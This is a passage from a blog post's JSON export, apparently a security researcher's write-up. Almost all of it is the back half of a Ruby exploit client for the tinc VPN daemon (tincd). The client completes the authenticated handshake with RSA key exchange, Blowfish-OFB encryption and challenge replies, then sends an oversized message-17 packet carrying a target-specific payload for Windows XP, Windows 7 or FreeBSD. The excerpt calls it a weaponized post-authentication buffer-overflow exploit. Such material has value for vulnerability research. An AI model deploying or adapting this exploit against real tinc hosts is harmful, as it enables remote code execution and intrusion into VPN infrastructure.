@bf_enc_cipher.final\r\n    #puts &quot;Testing cipher: &quot;+test.unpack(&quot;H*&quot;)&#x5B;0]\r\n  end\r\n  \r\n  def post_init\r\n    self.id()\r\n  end\r\n\r\n  def receive_data(data)\r\n    @inbuffer += data\r\n    puts &quot;In state %s - inbuffer-len=%d)&quot; % &#x5B;@state, @inbuffer.length]\r\n    if @state == &quot;id&quot;\r\n      if(self.has_line())\r\n        puts &quot;\\n++ Receive ID&quot;\r\n        data = self.get_line()\r\n        puts &quot;received data: &#x5B;%s]&quot; % (data)\r\n        @state = &quot;metakey&quot;\r\n        self.metakey()\r\n      end           \r\n    end\r\n    if @state == &quot;metakey&quot;\r\n      if self.has_line()\r\n        puts &quot;\\n++ Receive METAKEY&quot;\r\n        data = get_line()\r\n        puts &quot;received data: &#x5B;%s]&quot; % (data)\r\n        data = data.split(&quot; &quot;)\r\n        raise &quot;Error in protocol. The first byte should be an ASCII 1.&quot; unless data&#x5B;0] == &quot;1&quot;\r\n        hexkey_S2 = data&#x5B;5].rstrip #(&quot;\\n&quot;)\r\n        raise &quot;Error in protocol. hexkey_S2 length should be 512.&quot; unless hexkey_S2.length == 512\r\n        @enckey_S2 = &#x5B;hexkey_S2].pack(&quot;H*&quot;)\r\n        key_S2 = @client_private_key_cipher.private_decrypt(@enckey_S2, OpenSSL::PKey::RSA::NO_PADDING)\r\n        puts &quot;key: &quot;+key_S2.unpack(&quot;H*&quot;)&#x5B;0]\r\n\r\n        # setup decryption\r\n        bf_dec_key = key_S2&#x5B;240..256]\r\n        bf_dec_iv = key_S2&#x5B;232..240]\r\n\r\n        @bf_dec_cipher = OpenSSL::Cipher::Cipher.new &quot;BF-OFB&quot;\r\n        @bf_dec_cipher.encrypt\r\n        @bf_dec_cipher.key = bf_dec_key\r\n        @bf_dec_cipher.iv = bf_dec_iv\r\n        #OFB mode: don't forget, it does matter if you do a \r\n        #@bf_dec_cipher.reset or not, but DON'T BECAUSE IT BREAKS STUFF :D\r\n        \r\n        @cryptomode_in = true\r\n        \r\n        @state = &quot;challenge&quot; #next expected state\r\n        self.challenge()\r\n      end\r\n    end\r\n\r\n    if @state == &quot;challenge&quot;\r\n      need_len = 515\r\n      if @inbuffer.length &gt;= need_len\r\n        puts &quot;\\n++ Receive CHALLENGE&quot;\r\n        data = self.pop_inbuffer_and_decrypt(need_len)\r\n        puts &quot;Got challenge: &#x5B;%s]&quot; % (data)\r\n        data = data.split(&quot; &quot;, 2)\r\n        \r\n        raise &quot;Error in protocol. The first byte should be an ASCII 2.&quot; unless data&#x5B;0] == &quot;2&quot;\r\n        challenge2 = data&#x5B;1]&#x5B;0...512]\r\n        challenge2 = &#x5B;challenge2].pack(&quot;H*&quot;)\r\n        puts challenge2.length\r\n        raise &quot;Error in protocol. challenge2 length should be 256.&quot; unless challenge2.length == 256\r\n        \r\n        @state = &quot;challenge_reply&quot;\r\n        self.challenge_reply(challenge2)\r\n      end\r\n    end\r\n\r\n    if @state == &quot;challenge_reply&quot;\r\n      need_len = 43\r\n      if @inbuffer.length &gt;= need_len\r\n        puts &quot;\\n++ Receive CHALLENGE REPLY&quot;\r\n        data = self.pop_inbuffer_and_decrypt(need_len)\r\n        puts &quot;Got challenge reply: &#x5B;%s]&quot; % data.unpack(&quot;H*&quot;)&#x5B;0]\r\n        @state = &quot;ack&quot;\r\n        self.ack()\r\n      end\r\n    end\r\n\r\n    if @state == &quot;ack&quot;\r\n      need_len = 12\r\n      if @inbuffer.length &gt;= need_len\r\n        data = self.pop_inbuffer_and_decrypt(need_len)\r\n        puts &quot;Got ack: &#x5B;%s]&quot; % data.unpack(&quot;H*&quot;)&#x5B;0]\r\n        self.overflow()\r\n      end\r\n    end\r\n  end\r\n\r\n  def handle_write()\r\n    puts @encryption_queue.length\r\n    puts @buffer.length\r\n    \r\n    if @buffer.length &gt; 0\r\n      sent = self.send_data(@buffer)\r\n      @buffer = @buffer&#x5B;sent..@buffer.length]\r\n      puts &quot;send %d bytes - buffer-len=%d&quot; % &#x5B;sent, @buffer.length]\r\n    end\r\n    \r\n    # handle encryption queue\r\n    if @encryption_queue.length &gt; 0\r\n      msg = @encryption_queue&#x5B;0]\r\n      @encryption_queue.delete_at(0)\r\n      puts msg\r\n      @buffer = @bf_enc_cipher.update(msg)\r\n      @buffer &lt;&lt; @bf_enc_cipher.final\r\n      #DON'T DO A @bf_enc_cipher.reset\r\n    end\r\n    puts &quot;encryption-queue len: %d messages&quot; % (@encryption_queue.length)\r\n\r\n    # send data\r\n    if @buffer.length &gt; 0\r\n      sent = self.send_data(@buffer)\r\n      @buffer = @buffer&#x5B;sent..@buffer.length]\r\n      puts &quot;send %d bytes (crypto-queue-len=%d msg,buffer-len=%d)&quot; % &#x5B;sent, @encryption_queue.length, @buffer.length]\r\n    end\r\n  end\r\n\r\n  def pop_inbuffer_and_decrypt(size)\r\n    @decryption_queue = pop_inbuffer(size)\r\n    puts @decryption_queue\r\n    # In ruby openssl OFM works not only on full blocks, but also on\r\n    # parts. Therefore no worries like in pycrypto and no \r\n    # modified decrypt routine, simply use the cipher as is.\r\n    data = @bf_dec_cipher.update(@decryption_queue)\r\n    data &lt;&lt; @bf_dec_cipher.final\r\n    #DON'T DO A bf_dec_cipher.reset\r\n    @decryption_queue = &quot;&quot;\r\n    return data\r\n  end\r\n  \r\n  def pop_inbuffer(size)\r\n    data = @inbuffer&#x5B;0...size]\r\n    if size &gt;= @inbuffer.length\r\n      @inbuffer = &quot;&quot;\r\n    else\r\n      @inbuffer = @inbuffer&#x5B;size+1..@inbuffer.length]\r\n    end\r\n    return data\r\n  end\r\n  \r\n  def get_line()\r\n    idx = @inbuffer.index(&quot;\\n&quot;)\r\n    data = self.pop_inbuffer(idx)\r\n    return data\r\n  end\r\n  \r\n  def has_line()\r\n    if @inbuffer.match(&quot;\\n&quot;)\r\n      return true\r\n    else\r\n      return false\r\n    end\r\n  end\r\n  \r\n  def id()\r\n    puts &quot;\\n++ Send ID&quot;\r\n    msg = &quot;0 testnode2 17.0\\n&quot;.gsub(&quot;testnode2&quot;,&quot;home&quot;)\r\n    puts &quot;id msg len: %d&quot; % (msg.length)\r\n    @buffer += msg\r\n    self.handle_write()\r\n  end\r\n      \r\n  def metakey()\r\n    puts &quot;\\n++ Send METAKEY&quot;\r\n    msg = &quot;1 94 64 0 0 %s\\n&quot; % (@hex_enc_key_S1)\r\n    puts &quot;metakey msg len: %d&quot; % (msg.length)\r\n    @buffer += msg\r\n    self.handle_write()\r\n  end\r\n\r\n  def challenge()\r\n    puts &quot;\\n++ Send CHALLENGE&quot;\r\n    challenge = SecureRandom.random_bytes(@key_len)\r\n    msg = &quot;2      %s\\n&quot; % (challenge.unpack(&quot;H*&quot;)&#x5B;0])\r\n    @encryption_queue.push(msg)\r\n    self.handle_write()\r\n  end\r\n\r\n  def challenge_reply(challenge2)\r\n    puts &quot;\\n++ Send CHAL_REPLY&quot;\r\n    h = Digest::SHA1.hexdigest(challenge2)\r\n    msg = &quot;3      %s\\n&quot; % (h.upcase)\r\n    @encryption_queue.push(msg)\r\n    self.handle_write()\r\n  end\r\n\r\n  def ack()\r\n    puts &quot;++ Send ACK&quot;\r\n    @encryption_queue.push(&quot;4 %d 123 0    \\n&quot; % (TCP_PORT))\r\n    self.handle_write()\r\n  end\r\n\r\n  def overflow()\r\n    puts &quot;++ Peng&quot; #piff paff puff here\r\n    buffer = @payload\r\n    msg = &quot;17 %d\\n%s&quot; % &#x5B;buffer.length, buffer]\r\n\r\n    plen = @bfblocksize - (msg.length % @bfblocksize)\r\n    msg += &quot;B&quot; * plen\r\n    @encryption_queue.push(msg)\r\n    self.handle_write()\r\n  end\r\n  \r\n  def unbind\r\n    EventMachine::stop_event_loop\r\n  end\r\nend\r\n\r\npayload = payload_winxp\r\nif target.downcase() == &quot;win7&quot;\r\n  payload = payload_win7\r\nend\r\nif target.downcase() == &quot;freebsd&quot;\r\n  payload = payload_freebsd\r\nend\r\n\r\nEventMachine.run {\r\n  EventMachine.connect(TCP_IP, TCP_PORT, TincExploitClient, server_public_key_file, client_private_key_file, payload)\r\n}\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>A friend of mine wrote a Proof of Concept exploit for the tincd server (a VPN software) for authenticated peers (post-auth), the original blog post about it can be found here. I turned the PoC crash into a weaponized exploit &hellip; <a href=\"https:\/\/www.floyd.ch\/?p=741\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103],"tags":[131,126,130,129,133,52,20,134,132,127,128,125,34],"class_list":["post-741","post","type-post","status-publish","format-standard","hentry","category-overflow-exploits","tag-buffer-overflow","tag-exploit","tag-fedora","tag-freebsd","tag-gcc","tag-metasploit","tag-python","tag-rop","tag-ruby","tag-tinc","tag-tincd","tag-vulnerability","tag-windows"],"_links":{"self":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/741","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=741"}],"version-history":[{"count":10,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/741\/revisions"}],"predecessor-version":[{"id":1360,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/741\/revisions\/1360"}],"wp:attachment":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=741"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=741"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=741"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}